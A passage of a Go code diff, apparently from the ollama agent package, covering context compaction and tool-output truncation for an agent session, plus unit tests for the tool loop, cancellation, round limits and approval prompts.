s.emitCompactionSkipped(runID, opts, trigger, result.Reason) + skipNotified = true + } + return messages, skipNotified, nil + } + s.emitCompacted(runID, opts, result.Messages, trigger, result.Summary) + if err := s.checkPostCompactionPromptBudget(opts, result.Messages); err != nil { + return result.Messages, skipNotified, err + } + return result.Messages, skipNotified, nil +} + +func (s *Session) compactForToolOutputOverflow(ctx context.Context, runID string, opts RunOptions, messages []api.Message, latest api.ChatResponse, assistant api.Message, toolMessages []api.Message, overflows []toolOutputOverflow, skipNotified bool) ([]api.Message, bool, error) { + if s.Compactor == nil { + return messages, skipNotified, nil + } + + keepUserTurns := 0 + req := s.compactionRequest(runID, opts, messages, latest) + req.Force = true + req.KeepUserTurns = &keepUserTurns + s.emitCompactionStarted(runID, opts, "tool_output") + + result, err := s.Compactor.MaybeCompact(ctx, req) + if err != nil { + if result.Due && !skipNotified { + s.emitCompactionSkipped(runID, opts, "tool_output", result.Reason) + skipNotified = true + } + return messages, skipNotified, nil + } + if !result.Compacted { + if result.Due && !skipNotified { + s.emitCompactionSkipped(runID, opts, "tool_output", result.Reason) + skipNotified = true + } + return messages, skipNotified, nil + } + + overflowByID := make(map[string]toolOutputOverflow, len(overflows)) + for _, overflow := range overflows { + overflowByID[overflow.toolCallID] = overflow + } + + compacted := append([]api.Message(nil), result.Messages...) + if !messageEmpty(assistant) { + compacted = append(compacted, assistant) + } + + for _, msg := range toolMessages { + content := msg.Content + toolName := msg.ToolName + if overflow, ok := overflowByID[msg.ToolCallID]; ok { + content = overflow.content + if overflow.toolName != "" { + toolName = overflow.toolName + } + } + refit := s.toolMessageForPostCompactionContext(toolName, msg.ToolCallID, content, opts, compacted) + compacted = append(compacted, refit) + } + + s.emitCompacted(runID, opts, compacted, "tool_output", result.Summary) + if err := s.checkPostCompactionPromptBudget(opts, compacted); err != nil { + return compacted, skipNotified, err + } + return compacted, skipNotified, nil +} + +func (s *Session) compactionRequest(runID string, opts RunOptions, messages []api.Message, latest api.ChatResponse) CompactionRequest { + return CompactionRequest{ + ChatID: opts.ChatID, + Model: opts.Model, + SystemPrompt: opts.SystemPrompt, + Messages: messages, + Tools: s.availableTools(), + Format: opts.Format, + Latest: latest, + Options: opts.Options, + KeepAlive: opts.KeepAlive, + Think: opts.Think, + ContinueTask: true, + Progress: func(progress CompactionProgress) { + _ = s.emit(Event{Type: EventCompactionProgress, RunID: runID, ChatID: opts.ChatID, Model: opts.Model, Tokens: progress.Tokens}) + }, + } +} + +func (s *Session) emitCompactionStarted(runID string, opts RunOptions, status string) { + _ = s.emit(Event{ + Type: EventCompactionStarted, + RunID: runID, + ChatID: opts.ChatID, + Model: opts.Model, + Status: status, + }) +} + +func (s *Session) emitCompactionSkipped(runID string, opts RunOptions, status, reason string) { + _ = s.emit(Event{ + Type: EventCompactionSkipped, + RunID: runID, + ChatID: opts.ChatID, + Model: opts.Model, + Status: status, + Content: CompactionSkippedMessage(reason), + }) +} + +func (s *Session) emitCompacted(runID string, opts RunOptions, messages []api.Message, status, summary string) { + _ = s.emit(Event{ + Type: EventCompacted, + RunID: runID, + ChatID: opts.ChatID, + Model: opts.Model, + Status: status, + Content: summary, + Messages: messages, + }) +} + +func (s *Session) autoCompactionTrigger(req CompactionRequest) string { + if compactor, ok := s.Compactor.(*SimpleCompactor); ok && compactor != nil { + if req.Force { + return "force" + } + contextWindow := compactor.contextWindowTokens(req.Options) + threshold := int(float64(contextWindow) * compactor.threshold()) + if threshold <= 0 { + return "" + } + if req.Latest.PromptEvalCount > 0 && req.Latest.PromptEvalCount >= threshold { + return "prompt_eval" + } + if estimateCompactionRequestTokens(req) >= threshold { + return "estimate" + } + } + return "" +} + +func CompactionSkippedMessage(reason string) string { + reason = strings.TrimSpace(reason) + if reason == "" { + reason = "compaction could not run" + } + return reason +} + +func resolvedMaxToolRounds(value int) int { + if value == 0 { + return defaultMaxToolRounds + } + return value +} + +func (s *Session) toolMessageForContext(toolName, toolCallID, content string, opts RunOptions, messages []api.Message) api.Message { + maxRunes := maxToolResultRunes + if limit := smallContextToolResultLimitRunes(s.contextWindowTokens(opts)); limit > 0 { + maxRunes = min(maxRunes, limit) + } + + msg := toolMessageWithLimit(toolName, toolCallID, content, maxRunes) + threshold := s.compactionThresholdTokens(opts) + if threshold <= 0 { + return msg + } + + projected := append(append([]api.Message(nil), messages...), msg) + projectedTokens := s.estimateRunPromptTokens(opts, projected) + if projectedTokens < threshold { + return msg + } + + baseTokens := s.estimateRunPromptTokens(opts, messages) + overheadTokens := estimateMessagesTokens([]api.Message{{ + Role: "tool", + ToolName: toolName, + ToolCallID: toolCallID, + }}) + // Keep oversized tool output below the compaction threshold before it is + // appended to history. This is especially important for <=8k contexts: the + // next step must still have enough room to compact and continue the same + // user request instead of asking the user to prompt again. + availableRunes := (threshold - baseTokens - overheadTokens - toolTruncationMarkerReserveTokens) * 4 + maxRunes = min(maxRunes, max(0, availableRunes)) + msg.Content = truncateToolResultContentTo(content, maxRunes) + return msg +} + +func (s *Session) toolMessageForPostCompactionContext(toolName, toolCallID, content string, opts RunOptions, messages []api.Message) api.Message { + maxRunes := maxToolResultRunes + if limit := smallContextToolResultLimitRunes(s.contextWindowTokens(opts)); limit > 0 { + maxRunes = min(maxRunes, limit) + } + + contextWindow := s.contextWindowTokens(opts) + if contextWindow <= 0 { + return toolMessageWithLimit(toolName, toolCallID, content, maxRunes) + } + + baseTokens := s.estimateRunPromptTokens(opts, messages) + overheadTokens := estimateMessagesTokens([]api.Message{{ + Role: "tool", + ToolName: toolName, + ToolCallID: toolCallID, + }}) + availableRunes := (contextWindow - baseTokens - overheadTokens - toolTruncationMarkerReserveTokens) * 4 + maxRunes = min(maxRunes, max(0, availableRunes)) + return toolMessageWithLimit(toolName, toolCallID, content, maxRunes) +} + +func toolMessageWithLimit(toolName, toolCallID, content string, maxRunes int) api.Message { + return api.Message{ + Role: "tool", + Content: truncateToolResultContentTo(content, maxRunes), + ToolName: toolName, + ToolCallID: toolCallID, + } +} + +func smallContextToolResultLimitRunes(contextWindow int) int { + switch { + case contextWindow > 0 && contextWindow <= tinyContextToolResultTokenWindow: + return tinyContextToolResultRunes + case contextWindow > 0 && contextWindow <= smallContextToolResultTokenWindow: + return smallContextToolResultRunes + default: + return 0 + } +} + +func (s *Session) availableTools() api.Tools { + if s == nil || s.Tools == nil { + return nil + } + return s.Tools.Tools() +} + +func (s *Session) compactionThresholdTokens(opts RunOptions) int { + contextWindow := s.contextWindowTokens(opts) + if contextWindow <= 0 { + return 0 + } + + configuredThreshold := 0.0 + if compactor, ok := s.Compactor.(*SimpleCompactor); ok && compactor != nil { + configuredThreshold = compactor.Options.Threshold + } + + threshold := int(float64(contextWindow) * ResolveCompactionThreshold(configuredThreshold)) + if threshold <= 0 { + return 0 + } + return threshold +} + +func (s *Session) contextWindowTokens(opts RunOptions) int { + if s.Compactor == nil { + return 0 + } + + configuredWindow := 0 + if compactor, ok := s.Compactor.(*SimpleCompactor); ok && compactor != nil { + configuredWindow = compactor.Options.ContextWindowTokens + } + + return ResolveContextWindowTokens(opts.Options, configuredWindow) +} + +func toolMessage(toolName, toolCallID, content string) api.Message { + return toolMessageWithLimit(toolName, toolCallID, content, maxToolResultRunes) +} + +func sanitizeMessageForRun(msg api.Message) api.Message { + if msg.Role == "tool" { + msg.Content = truncateToolResultContent(msg.Content) + } + return msg +} + +func sanitizeMessagesForRequest(messages []api.Message) []api.Message { + if len(messages) == 0 { + return nil + } + sanitized := make([]api.Message, len(messages)) + for i, msg := range messages { + sanitized[i] = sanitizeMessageForRequest(msg) + } + return sanitized +} + +func sanitizeMessageForRequest(msg api.Message) api.Message { + return sanitizeMessageForRun(msg) +} + +func truncateToolResultContent(content string) string { + return truncateToolResultContentTo(content, maxToolResultRunes) +} + +func truncateToolResultContentTo(content string, maxRunes int) string { + if maxRunes <= 0 { + return fmt.Sprintf("%s omitted ~%d tokens. Use a narrower command, line range, or search query if more detail is needed.]", toolOutputFullOmissionPrefix, approximateTokensFromRunes(len([]rune(content)))) + } + if len(content) <= maxRunes { + return content + } + runes := []rune(content) + if len(runes) <= maxRunes { + return content + } + head := maxRunes * 3 / 4 + tail := maxRunes - head + omitted := len(runes) - head - tail + marker := fmt.Sprintf( + "\n\n[tool output truncated: showing first ~%d tokens and last ~%d tokens; omitted ~%d tokens. Use a narrower command, line range, or search query if more detail is needed.]\n\n", + approximateTokensFromRunes(head), + approximateTokensFromRunes(tail), + approximateTokensFromRunes(omitted), + ) + return string(runes[:head]) + marker + string(runes[len(runes)-tail:]) +} + +func toolOutputFullyOmitted(content string) bool { + return strings.HasPrefix(content, toolOutputFullOmissionPrefix) +} + +func approximateTokensFromRunes(n int) int { + if n <= 0 { + return 0 + } + return max(1, (n+3)/4) +} + +func messageEmpty(msg api.Message) bool { + return msg.Content == "" && msg.Thinking == "" && len(msg.ToolCalls) == 0 +} diff --git a/agent/session_test.go b/agent/session_test.go new file mode 100644 index 000000000..4d70c7e6c --- /dev/null +++ b/agent/session_test.go @@ -0,0 +1,1826 @@ +package agent + +import ( + "context" + "errors" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/ollama/ollama/api" +) + +type fakeClient struct { + calls int + responses [][]api.ChatResponse + requests []*api.ChatRequest + err error +} + +func (c *fakeClient) Chat(ctx context.Context, req *api.ChatRequest, fn api.ChatResponseFunc) error { + c.requests = append(c.requests, req) + if c.calls >= len(c.responses) { + return nil + } + responses := c.responses[c.calls] + c.calls++ + for _, response := range responses { + if err := fn(response); err != nil { + return err + } + } + return c.err +} + +type staticTool struct{} + +type approvalTestTool struct { + called *bool +} + +type cwdTestTool struct{} + +type largeTool struct{} + +type preTruncatedTool struct{} + +type cancelingTool struct { + cancel context.CancelFunc +} + +type cancelAfterToolCallClient struct { + cancel context.CancelFunc +} + +type recordingCompactor struct { + requests []CompactionRequest +} + +type oversizedCompactor struct { + requests []CompactionRequest +} + +type recordingEventSink struct { + events []Event +} + +func (s *recordingEventSink) Emit(event Event) error { + s.events = append(s.events, event) + return nil +} + +func hasEventType(events []Event, eventType EventType) bool { + for _, event := range events { + if event.Type == eventType { + return true + } + } + return false +} + +func hasEventWithTokens(events []Event, eventType EventType, tokens int) bool { + for _, event := range events { + if event.Type == eventType && event.Tokens == tokens { + return true + } + } + return false +} + +func TestSessionEmitsToAllSinksAfterError(t *testing.T) { + errSink := EventSinkFunc(func(Event) error { + return errors.New("sink failed") + }) + events := &recordingEventSink{} + session := &Session{EventSinks: []EventSink{errSink, events}} + + err := session.emit(Event{Type: EventRunFinished}) + if err == nil { + t.Fatal("emit should return the first sink error") + } + if !hasEventType(events.events, EventRunFinished) { + t.Fatalf("later sink did not receive event after earlier error: %#v", events.events) + } +} + +func (c cancelAfterToolCallClient) Chat(ctx context.Context, req *api.ChatRequest, fn api.ChatResponseFunc) error { + args := api.NewToolCallFunctionArguments() + args.Set("value", "skip me") + if err := fn(api.ChatResponse{Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{ + ID: "call-1", + Function: api.ToolCallFunction{ + Name: "echo_tool", + Arguments: args, + }, + }}}}); err != nil { + return err + } + c.cancel() + return context.Canceled +} + +func (c *recordingCompactor) MaybeCompact(_ context.Context, req CompactionRequest) (CompactionResult, error) { + c.requests = append(c.requests, req) + result := CompactionResult{Messages: req.Messages, Due: true} + if len(req.Messages) > 0 && req.Messages[len(req.Messages)-1].Role == "tool" { + result.Messages = CompactionSummaryMessages("tool result summarized", false) + result.Compacted = true + result.Summary = "tool result summarized" + } + return result, nil +} + +func (c *oversizedCompactor) MaybeCompact(_ context.Context, req CompactionRequest) (CompactionResult, error) { + c.requests = append(c.requests, req) + summary := strings.Repeat("oversized summary ", 300) + return CompactionResult{ + Messages: CompactionSummaryMessages(summary, req.ContinueTask), + Compacted: true, + Due: true, + Summary: summary, + }, nil +} + +type recordingApprovalPrompter struct { + requests []ApprovalRequest + results []Approval +} + +func (staticTool) Name() string { + return "echo_tool" +} + +func (staticTool) Description() string { + return "echoes a value" +} + +func (staticTool) Schema() api.ToolFunction { + props := api.NewToolPropertiesMap() + props.Set("value", api.ToolProperty{Type: api.PropertyType{"string"}}) + return api.ToolFunction{ + Name: "echo_tool", + Description: "echoes a value", + Parameters: api.ToolFunctionParameters{ + Type: "object", + Properties: props, + }, + } +} + +func (staticTool) Execute(context.Context, ToolContext, map[string]any) (ToolResult, error) { + return ToolResult{Content: "tool says hello"}, nil +} + +func (largeTool) Name() string { + return "large_tool" +} + +func (largeTool) Description() string { + return "returns a large result" +} + +func (largeTool) Schema() api.ToolFunction { + return api.ToolFunction{ + Name: "large_tool", + Description: "returns a large result", + Parameters: api.ToolFunctionParameters{ + Type: "object", + }, + } +} + +func (largeTool) Execute(context.Context, ToolContext, map[string]any) (ToolResult, error) { + return ToolResult{Content: strings.Repeat("x", maxToolResultRunes+100)}, nil +} + +func (preTruncatedTool) Name() string { + return "pre_truncated_tool" +} + +func (preTruncatedTool) Description() string { + return "returns a large result that is already marked as truncated" +} + +func (preTruncatedTool) Schema() api.ToolFunction { + return api.ToolFunction{ + Name: "pre_truncated_tool", + Description: "returns a large result that is already marked as truncated", + Parameters: api.ToolFunctionParameters{ + Type: "object", + }, + } +} + +func (preTruncatedTool) Execute(context.Context, ToolContext, map[string]any) (ToolResult, error) { + content := strings.Repeat("x", smallContextToolResultRunes) + + "\n\n[tool output truncated: showing first ~1500 tokens; omitted ~999 tokens. Use a narrower command, line range, or search query if more detail is needed.]\n\n" + + strings.Repeat("y", smallContextToolResultRunes) + return ToolResult{Content: content}, nil +} + +func (t cancelingTool) Name() string { + return "cancel_tool" +} + +func (t cancelingTool) Description() string { + return "cancels while running" +} + +func (t cancelingTool) Schema() api.ToolFunction { + return api.ToolFunction{ + Name: t.Name(), + Description: t.Description(), + Parameters: api.ToolFunctionParameters{ + Type: "object", + }, + } +} + +func (t cancelingTool) Execute(ctx context.Context, _ ToolContext, _ map[string]any) (ToolResult, error) { + t.cancel() + <-ctx.Done() + return ToolResult{}, ctx.Err() +} + +func (t approvalTestTool) Name() string { + return "approval_tool" +} + +func (t approvalTestTool) Description() string { + return "requires approval" +} + +func (t approvalTestTool) Schema() api.ToolFunction { + return api.ToolFunction{ + Name: "approval_tool", + Description: "requires approval", + Parameters: api.ToolFunctionParameters{ + Type: "object", + }, + } +} + +func (t approvalTestTool) RequiresApproval(map[string]any) bool { + return true +} + +func (t approvalTestTool) Execute(context.Context, ToolContext, map[string]any) (ToolResult, error) { + if t.called != nil { + *t.called = true + } + return ToolResult{Content: "approved"}, nil +} + +func (p *recordingApprovalPrompter) PromptApproval(_ context.Context, req ApprovalRequest) (Approval, error) { + p.requests = append(p.requests, req) + if len(p.results) == 0 { + return Approval{Allow: true}, nil + } + result := p.results[0] + p.results = p.results[1:] + return result, nil +} + +func (cwdTestTool) Name() string { + return "cwd_tool" +} + +func (cwdTestTool) Description() string { + return "tests cwd state" +} + +func (cwdTestTool) Schema() api.ToolFunction { + props := api.NewToolPropertiesMap() + props.Set("mode", api.ToolProperty{Type: api.PropertyType{"string"}}) + props.Set("path", api.ToolProperty{Type: api.PropertyType{"string"}}) + return api.ToolFunction{ + Name: "cwd_tool", + Description: "tests cwd state", + Parameters: api.ToolFunctionParameters{ + Type: "object", + Properties: props, + }, + } +} + +func (cwdTestTool) RequiresApproval(map[string]any) bool { + return true +} + +func (cwdTestTool) Execute(_ context.Context, toolCtx ToolContext, args map[string]any) (ToolResult, error) { + switch args["mode"] { + case "set": + path, _ := args["path"].(string) + return ToolResult{Content: "changed", WorkingDir: filepath.Join(toolCtx.WorkingDir, path)}, nil + case "escape": + return ToolResult{Content: "escaped", WorkingDir: filepath.Dir(toolCtx.WorkingDir)}, nil + default: + return ToolResult{Content: toolCtx.WorkingDir}, nil + } +} + +func TestSessionRunsToolLoop(t *testing.T) { + args := api.NewToolCallFunctionArguments() + args.Set("value", "hello") + + client := &fakeClient{ + responses: [][]api.ChatResponse{ + { + {Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{ + ID: "call-1", + Function: api.ToolCallFunction{ + Name: "echo_tool", + Arguments: args, + }, + }}}}, + }, + { + {Message: api.Message{Role: "assistant", Content: "done"}}, + }, + }, + } + + registry := &Registry{} + registry.Register(staticTool{}) + + session := &Session{ + Client: client, + Tools: registry, + AllowAllTools: true, + } + + result, err := session.Run(context.Background(), RunOptions{ + ChatID: "chat-1", + Model: "model", + NewMessages: []api.Message{{Role: "user", Content: "use a tool"}}, + }) + if err != nil { + t.Fatal(err) + } + + if client.calls != 2 { + t.Fatalf("client calls = %d, want 2", client.calls) + } + if len(result.Messages) != 4 { + t.Fatalf("messages = %d, want 4", len(result.Messages)) + } + if result.Messages[2].Role != "tool" || result.Messages[2].Content != "tool says hello" { + t.Fatalf("tool message = %#v", result.Messages[2]) + } + if len(client.requests[0].Tools) != 1 { + t.Fatalf("first request tools = %d, want 1", len(client.requests[0].Tools)) + } + if len(client.requests[1].Messages) != 3 { + t.Fatalf("second request messages = %d, want 3", len(client.requests[1].Messages)) + } +} + +func TestSessionAddsSystemPromptOnlyToRequest(t *testing.T) { + client := &fakeClient{ + responses: [][]api.ChatResponse{ + {{Message: api.Message{Role: "assistant", Content: "done"}}}, + }, + } + session := &Session{Client: client} + + _, err := session.Run(context.Background(), RunOptions{ + ChatID: "chat-1", + Model: "model", + SystemPrompt: "available context: go-code", + NewMessages: []api.Message{{Role: "user", Content: "hello"}}, + }) + if err != nil { + t.Fatal(err) + } + if len(client.requests) != 1 { + t.Fatalf("requests = %d, want 1", len(client.requests)) + } + reqMessages := client.requests[0].Messages + if len(reqMessages) != 2 || reqMessages[0].Role != "system" || reqMessages[0].Content != "available context: go-code" { + t.Fatalf("request messages = %#v", reqMessages) + } +} + +func TestSessionAccumulatesStreamingAssistantMessage(t *testing.T) { + args := api.NewToolCallFunctionArguments() + args.Set("value", "hello") + responses := make([]api.ChatResponse, 0, 100) + var wantContent, wantThinking string + for range 99 { + wantContent += "x" + wantThinking += "t" + responses = append(responses, api.ChatResponse{ + Message: api.Message{Role: "assistant", Content: "x", Thinking: "t"}, + }) + } + toolCall := api.ToolCall{ + ID: "call-1", + Function: api.ToolCallFunction{ + Name: "echo_tool", + Arguments: args, + }, + } + responses = append(responses, api.ChatResponse{ + Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{toolCall}}, + }) + + session := &Session{ + Client: &fakeClient{responses: [][]api.ChatResponse{responses}}, + } + + result, err := session.Run(context.Background(), RunOptions{ + ChatID: "chat-1", + Model: "model", + NewMessages: []api.Message{{Role: "user", Content: "stream"}}, + }) + if err != nil { + t.Fatal(err) + } + + if len(result.Messages) != 2 || result.Messages[1].Content != wantContent || result.Messages[1].Thinking != wantThinking || len(result.Messages[1].ToolCalls) != 1 { + t.Fatalf("result messages = %#v", result.Messages) + } +} + +func TestSessionRequestHistoryKeepsThinkingAndServerToolCallIDs(t *testing.T) { + args := api.NewToolCallFunctionArguments() + args.Set("value", "hello") + client := &fakeClient{ + responses: [][]api.ChatResponse{ + { + {Message: api.Message{Role: "assistant", Thinking: "private chain"}}, + {Message: api.Message{Role: "assistant", Content: "I'll check."}}, + {Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{ + ID: "volatile-random-id", + Function: api.ToolCallFunction{ + Name: "echo_tool", + Arguments: args, + }, + }}}}, + }, + {{Message: api.Message{Role: "assistant", Content: "done"}}}, + }, + } + registry := &Registry{} + registry.Register(staticTool{}) + session := &Session{ + Client: client, + Tools: registry, + AllowAllTools: true, + } + + result, err := session.Run(context.Background(), RunOptions{ + ChatID: "chat-1", + Model: "model", + NewMessages: []api.Message{{Role: "user", Content: "use a tool"}}, + }) + if err != nil { + t.Fatal(err) + } + if len(client.requests) != 2 { + t.Fatalf("requests = %d, want 2", len(client.requests)) + } + + secondRequestMessages := client.requests[1].Messages + if len(secondRequestMessages) != 3 { + t.Fatalf("second request messages = %#v", secondRequestMessages) + } + assistant := secondRequestMessages[1] + if assistant.Role != "assistant" { + t.Fatalf("second request assistant = %#v", assistant) + } + if assistant.Thinking != "private chain" { + t.Fatalf("assistant thinking = %q, want preserved", assistant.Thinking) + } + if len(assistant.ToolCalls) != 1 || assistant.ToolCalls[0].ID != "volatile-random-id" { + t.Fatalf("assistant tool calls = %#v", assistant.ToolCalls) + } + tool := secondRequestMessages[2] + if tool.Role != "tool" || tool.ToolCallID != "volatile-random-id" { + t.Fatalf("tool result message = %#v", tool) + } + if len(result.Messages) < 3 || result.Messages[1].Thinking != "private chain" { + t.Fatalf("visible result messages lost thinking: %#v", result.Messages) + } +} + +func TestSessionKeepsPartialStreamOnCancellation(t *testing.T) { + session := &Session{ + Client: &fakeClient{ + responses: [][]api.ChatResponse{{ + {Message: api.Message{Role: "assistant", Content: "partial "}}, + {Message: api.Message{Role: "assistant", Content: "answer"}}, + }}, + err: context.Canceled, + }, + } + + result, err := session.Run(context.Background(), RunOptions{ + ChatID: "chat-1", + Model: "model", + NewMessages: []api.Message{{Role: "user", Content: "cancel"}}, + }) + if err != nil { + t.Fatal(err) + } + if len(result.Messages) != 2 || result.Messages[1].Content != "partial answer" { + t.Fatalf("result messages = %#v", result.Messages) + } +} + +func TestSessionCancellationKeepsPartialResultWhenUISinkCancels(t *testing.T) { + ctx, cancel := context.WithCancel(context.Background()) + cancel() + trace := &recordingEventSink{} + session := &Session{ + Client: &fakeClient{ + responses: [][]api.ChatResponse{{ + {Message: api.Message{Role: "assistant", Content: "partial"}}, + }}, + err: context.Canceled, + }, + EventSinks: []EventSink{ + EventSinkFunc(func(event Event) error { + if event.Type == EventRunFinished { + return context.Canceled + } + return nil + }), + trace, + }, + } + + result, err := session.Run(ctx, RunOptions{ + ChatID: "chat-1", + Model: "model", + NewMessages: []api.Message{{Role: "user", Content: "cancel"}}, + }) + if err != nil { + t.Fatal(err) + } + if result == nil || len(result.Messages) != 2 || result.Messages[1].Content != "partial" { + t.Fatalf("result messages = %#v, want partial assistant result", result) + } + if !hasEventType(trace.events, EventRunFinished) { + t.Fatalf("trace sink did not receive run finished event: %#v", trace.events) + } +} + +func TestSessionTreatsHTTPContextCanceledStringAsCancellation(t *testing.T) { + ctx, cancel := context.WithCancel(context.Background()) + cancel() + client := &fakeClient{err: errors.New(`Post "http://127.0.0.1:11434/api/chat": context canceled`)} + session := &Session{Client: client} + + result, err := session.Run(ctx, RunOptions{ + Model: "model", + NewMessages: []api.Message{{Role: "user", Content: "hello"}}, + }) + if err != nil { + t.Fatalf("Run returned error for canceled HTTP request: %v", err) + } + if result == nil { + t.Fatal("Run returned nil result") + } + if len(result.Messages) != 1 || result.Messages[0].Content != "hello" { + t.Fatalf("messages = %#v, want original user message only", result.Messages) + } +} + +func TestSessionCancellationAfterToolCallAppendsSkippedToolMessage(t *testing.T) { + ctx, cancel := context.WithCancel(context.Background()) + registry := &Registry{} + registry.Register(staticTool{}) + session := &Session{ + Client: cancelAfterToolCallClient{cancel: cancel}, + Tools: registry, + AllowAllTools: true, + } + + result, err := session.Run(ctx, RunOptions{ + ChatID: "chat-1", + Model: "model", + NewMessages: []api.Message{{Role: "user", Content: "cancel after tool"}}, + }) + if err != nil { + t.Fatal(err) + } + if len(result.Messages) != 3 { + t.Fatalf("messages = %#v", result.Messages) + } + if len(result.Messages[1].ToolCalls) != 1 { + t.Fatalf("assistant tool calls = %#v", result.Messages[1]) + } + if result.Messages[2].Role != "tool" || result.Messages[2].ToolCallID != "call-1" { + t.Fatalf("skipped tool message = %#v", result.Messages[2]) + } + if !strings.Contains(result.Messages[2].Content, "run was canceled") { + t.Fatalf("skipped content = %q", result.Messages[2].Content) + } +} + +func TestSessionCancellationDuringToolExecutionAppendsToolMessage(t *testing.T) { + ctx, cancel := context.WithCancel(context.Background()) + events := &recordingEventSink{} + registry := &Registry{} + registry.Register(cancelingTool{cancel: cancel}) + client := &fakeClient{responses: [][]api.ChatResponse{{ + {Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{ + ID: "call-1", + Function: api.ToolCallFunction{ + Name: "cancel_tool", + }, + }}}}, + }}} + session := &Session{ + Client: client, + Tools: registry, + AllowAllTools: true, + EventSinks: []EventSink{events}, + } + + result, err := session.Run(ctx, RunOptions{ + ChatID: "chat-1", + Model: "model", + NewMessages: []api.Message{{Role: "user", Content: "cancel during tool"}}, + }) + if err != nil { + t.Fatal(err) + } + if len(result.Messages) != 3 { + t.Fatalf("messages = %#v", result.Messages) + } + if result.Messages[2].Role != "tool" || result.Messages[2].ToolCallID != "call-1" { + t.Fatalf("tool message = %#v", result.Messages[2]) + } + if !strings.Contains(result.Messages[2].Content, "context canceled") { + t.Fatalf("tool content = %q", result.Messages[2].Content) + } + var finished *Event + for i := range events.events { + if events.events[i].Type == EventRunFinished { + finished = &events.events[i] + } + } + if finished == nil { + t.Fatalf("run finished event missing: %#v", events.events) + } + if finished.Status != "canceled" { + t.Fatalf("run status = %q, want canceled", finished.Status) + } +} + +func TestSessionToolLoopAllowsRoundsUnderDefaultCap(t *testing.T) { + responses := make([][]api.ChatResponse, 0, 26) + for i := range 25 { + args := api.NewToolCallFunctionArguments() + args.Set("value", "hello") + responses = append(responses, []api.ChatResponse{{ + Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{ + ID: "call-" + string(rune('a'+i)), + Function: api.ToolCallFunction{ + Name: "echo_tool", + Arguments: args, + }, + }}}, + }}) + } + responses = append(responses, []api.ChatResponse{{ + Message: api.Message{Role: "assistant", Content: "done"}, + }}) + + client := &fakeClient{responses: responses} + registry := &Registry{} + registry.Register(staticTool{}) + + session := &Session{ + Client: client, + Tools: registry, + AllowAllTools: true, + } + + if _, err := session.Run(context.Background(), RunOptions{ + Model: "model", + NewMessages: []api.Message{{Role: "user", Content: "keep going"}}, + }); err != nil { + t.Fatal(err) + } + + if client.calls != 26 { + t.Fatalf("client calls = %d, want 26", client.calls) + } +} + +func TestSessionToolRoundLimitAppendsSkippedToolMessages(t *testing.T) { + firstArgs := api.NewToolCallFunctionArguments() + firstArgs.Set("value", "first") + secondArgs := api.NewToolCallFunctionArguments() + secondArgs.Set("value", "second") + thirdArgs := api.NewToolCallFunctionArguments() + thirdArgs.Set("value", "third") + + client := &fakeClient{ + responses: [][]api.ChatResponse{ + {{ + Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{ + ID: "call-1", + Function: api.ToolCallFunction{ + Name: "echo_tool", + Arguments: firstArgs, + }, + }}}, + }}, + {{ + Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{ + { + ID: "call-2", + Function: api.ToolCallFunction{ + Name: "echo_tool", + Arguments: secondArgs, + }, + }, + { + ID: "call-3", + Function: api.ToolCallFunction{ + Name: "echo_tool", + Arguments: thirdArgs, + }, + }, + }}, + }}, + }, + } + registry := &Registry{} + registry.Register(staticTool{}) + session := &Session{ + Client: client, + Tools: registry, + AllowAllTools: true, + } + + result, err := session.Run(context.Background(), RunOptions{ + ChatID: "chat-1", + Model: "model", + NewMessages: []api.Message{{Role: "user", Content: "hit cap"}}, + MaxToolRounds: 1, + }) + if err == nil || !strings.Contains(err.Error(), "tool round limit reached after 1 rounds") { + t.Fatalf("error = %v, want tool-round limit", err) + } + if result == nil { + t.Fatal("expected partial result with skipped tool messages") + } + if len(result.Messages) != 6 { + t.Fatalf("messages = %#v", result.Messages) + } + for i, wantID := range []string{"call-2", "call-3"} { + msg := result.Messages[4+i] + if msg.Role != "tool" || msg.ToolCallID != wantID { + t.Fatalf("skipped tool %d = %#v", i, msg) + } + if !strings.Contains(msg.Content, "max tool-round limit of 1") { + t.Fatalf("skipped content = %q", msg.Content) + } + } +} + +func TestSessionToolLoopStopsAtDefaultRoundCap(t *testing.T) { + responses := make([][]api.ChatResponse, 0, defaultMaxToolRounds+1) + for range defaultMaxToolRounds + 1 { + args := api.NewToolCallFunctionArguments() + args.Set("value", "hello") + responses = append(responses, []api.ChatResponse{{ + Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{ + ID: "call", + Function: api.ToolCallFunction{ + Name: "echo_tool", + Arguments: args, + }, + }}}, + }}) + } + + client := &fakeClient{responses: responses} + registry := &Registry{} + registry.Register(staticTool{}) + session := &Session{ + Client: client, + Tools: registry, + AllowAllTools: true, + } + + _, err := session.Run(context.Background(), RunOptions{ + Model: "model", + NewMessages: []api.Message{{Role: "user", Content: "keep going"}}, + }) + if err == nil || !strings.Contains(err.Error(), "tool round limit reached after 100 rounds") { + t.Fatalf("error = %v, want default tool round limit", err) + } + if client.calls != defaultMaxToolRounds+1 { + t.Fatalf("client calls = %d, want %d", client.calls, defaultMaxToolRounds+1) + } +} + +func TestSessionToolLoopNegativeLimitIsUnlimited(t *testing.T) { + responses := make([][]api.ChatResponse, 0, defaultMaxToolRounds+2) + for range defaultMaxToolRounds + 1 { + args := api.NewToolCallFunctionArguments() + args.Set("value", "hello") + responses = append(responses, []api.ChatResponse{{ + Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{ + ID: "call", + Function: api.ToolCallFunction{ + Name: "echo_tool", + Arguments: args, + }, + }}}, + }}) + } + responses = append(responses, []api.ChatResponse{{ + Message: api.Message{Role: "assistant", Content: "done"}, + }}) + + client := &fakeClient{responses: responses} + registry := &Registry{} + registry.Register(staticTool{}) + session := &Session{ + Client: client, + Tools: registry, + AllowAllTools: true, + } + + if _, err := session.Run(context.Background(), RunOptions{ + Model: "model", + NewMessages: []api.Message{{Role: "user", Content: "keep going"}}, + MaxToolRounds: -1, + }); err != nil { + t.Fatal(err) + } + if client.calls != defaultMaxToolRounds+2 { + t.Fatalf("client calls = %d, want %d", client.calls, defaultMaxToolRounds+2) + } +} + +func 